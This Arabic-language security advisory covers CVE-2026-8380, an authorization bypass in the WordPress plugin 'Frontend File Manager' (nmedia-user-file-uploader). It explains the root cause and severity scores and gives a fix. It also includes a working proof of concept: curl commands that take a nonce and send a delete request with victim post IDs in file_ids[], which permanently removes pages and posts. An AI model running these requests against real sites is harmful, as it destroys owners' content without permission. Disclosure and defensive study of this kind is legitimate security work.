CVE-2026-8380

CVE-2026-8380 — إدارة الملفات في الواجهة الأمامية <= 23.6 حذف عشوائي للمنشورات

نظرة عامة

تم اكتشاف ثغرة خطيرة في التحقق من الصلاحية في إضافة ووردبريس إدارة الملفات في الواجهة الأمامية (nmedia-user-file-uploader) والتي تؤثر على الإصدارات <= 23.6.

تسمح الثغرة للمستخدمين الموثَّقين ذوي الصلاحيات المنخفضة بحذف منشورات وصفحات ومرفقات وأنواع محتوى مخصصة في ووردبريس بشكل دائم، وذلك بسبب ضعف التحقق من الصلاحية في نقطة نهاية الحذف عبر AJAX.

عند تفعيل خيار الإضافة _allow_guest_upload=yes، تصبح الثغرة قابلة للاستغلال من قبل مهاجمين غير موثَّقين.

• CVE: CVE-2026-8380
• الإضافة: إدارة الملفات في الواجهة الأمامية (nmedia-user-file-uploader)
• الإصدارات المتأثرة: <= 23.6
• الباحث: Tiago Ferreira
• CWE: CWE-639 / CWE-862
• نوع الثغرة: حذف عشوائي للمنشورات
• WPScan: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

ملخص تنفيذي

تحتوي الإضافة على ثغرة حرجة في تجاوز التحقق من الصلاحية تسمح بحذف عشوائي لمحتوى ووردبريس من خلال عدم تطابق المعاملات في التحقق داخل إجراء AJAX wpfm_delete_file.

تم التحقق من الثغرة بنجاح في بيئة مختبرية محكومة مع استغلال فعال لإثبات المفهوم.

كما تم تحديد نقاط ضعف أمنية إضافية أثناء البحث:

• CSRF في نقاط نهاية تحديث البيانات الوصفية بدون التحقق من nonce
• تجاوز القائمة المسموح بها للامتدادات بناءً على آخر امتداد فقط
• _allow_guest_upload تعطيل فحوصات الصلاحية في نقاط نهاية متعددة
• تحديد معدل الطلبات بناءً على REMOTE_ADDR فقط

نقطة النهاية الضعيفة

POST /wp-admin/admin-ajax.php?action=wpfm_delete_file

الملف المتأثر

inc/files.php

منطقة الكود الضعيفة

// inc/files.php:691
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}

// inc/files.php:695
$file_ids = isset($_POST['file_ids']) && is_array($_POST['file_ids'])
            ? array_map('intval', $_POST['file_ids']) : [];

foreach ($file_ids as $file_id) {
    $file = new WPFM_File($file_id);

    wp_delete_post($file_id, $bypass_trash);
}

السبب الجذري

يقوم فحص الصلاحية بالتحقق من الملكية باستخدام المعامل المفرد:

$_POST['file_id']

ولكن عملية الحذف الفعلية تتكرر عبر معامل مختلف:

$_POST['file_ids[]']

بسبب هذا عدم التطابق، يمكن للمهاجم:

1. تقديم منشور مملوك له في file_id
2. إدخال معرفات منشورات ضحية عشوائية في file_ids[]

لا يوجد تحقق لضمان:

• ملكية كل عنصر في file_ids[]
• نوع المنشور المسموح به (post_type)
• العلاقة بين file_id و file_ids[]

ونتيجة لذلك، يمكن حذف محتوى ووردبريس عشوائياً بشكل دائم.

التأثير

يمكن للمستخدم الموثَّق ذي الصلاحيات الدنيا حذف ما يلي بشكل دائم:

• المنشورات
• الصفحات
• المنتجات
• المرفقات
• أنواع المحتوى المخصصة
• محتوى خاص بالإضافة

يتم الحذف باستخدام:

wp_delete_post($file_id, true);

أي يتم إزالة المحتوى بشكل دائم دون إمكانية الاستعادة من سلة المهملات.

إذا تم تفعيل _allow_guest_upload=yes:

• يصبح الاستغلال بدون مصادقة
• يتم تخطي فحص ملكية الكاتب بالكامل

إثبات المفهوم

البيئة المختبرية

• الهدف: 192.168.1.1:8080
• دور المهاجم: مشترك (Subscriber)
• دور الضحية: مسؤول (Administrator)

حساب المهاجم

wpfm_sub : Sub@Test123

منشورات الضحية

معرف الصفحة: 60
معرف المنشور: 61

الخطوة 1 — الحصول على Nonce

يزور المهاجم صفحة تحتوي على الكود المختصر:

[ffmwp]

استخراج nonce:

curl -b sub_cookie http://target/wpfm-test/ | grep wpfm_ajax_nonce

الاستجابة:

value="9c233d4720"

الخطوة 2 — تشغيل الحذف العشوائي

curl -b sub_cookie -X POST http://target/wp-admin/admin-ajax.php \
    --data 'action=wpfm_delete_file' \
    --data 'wpfm_ajax_nonce=9c233d4720' \
    --data 'file_id=57' \
    --data 'file_ids[]=60' \
    --data 'file_ids[]=61'

الشرح

الاستجابة الناجحة

{
  "success": true,
  "data": {
    "message": "2 files, directories are removed inside SUB-OWNED"
  }
}

التحقق

curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/pages/60

404

curl -o /dev/null -w "%{http_code}\n" \
http://target/wp-json/wp/v2/posts/61

404

شدة الثغرة

السيناريو الموثَّق

CVSS 3.1

8.1 عالية
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

سيناريو تفعيل رفع الضيوف

CVSS 3.1

9.1 حرجة
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

تصنيف CWE

• CWE-639 — تجاوز الصلاحية عبر مفتاح يتحكم به المستخدم
• CWE-862 — صلاحية مفقودة

الإصلاح الموصى به

التحقق من الملكية ونوع المنشور لكل إدخال داخل file_ids[].

مثال على تطبيق آمن:

foreach ($file_ids as $fid) {

    if ( ! wpfm_is_current_user_post_author($fid) ) {
        wp_send_json_error(...);
    }

    if ( get_post_type($fid) !== 'wpfm-files' ) {
        wp_send_json_error(...);
    }
}

الجدول الزمني

المراجع

• استشارة WPScan: https://wpscan.com/vulnerability/45fcbf74-45be-4cff-a81a-0fea903592a5/

• CVE: https://www.cve.org/CVERecord?id=CVE-2026-8380

إخلاء مسؤولية

تم إجراء هذا البحث في بيئة مختبرية محكومة لأغراض تعليمية وبحثية أمنية فقط.

لا تختبر الأنظمة دون الحصول على التصريح المناسب.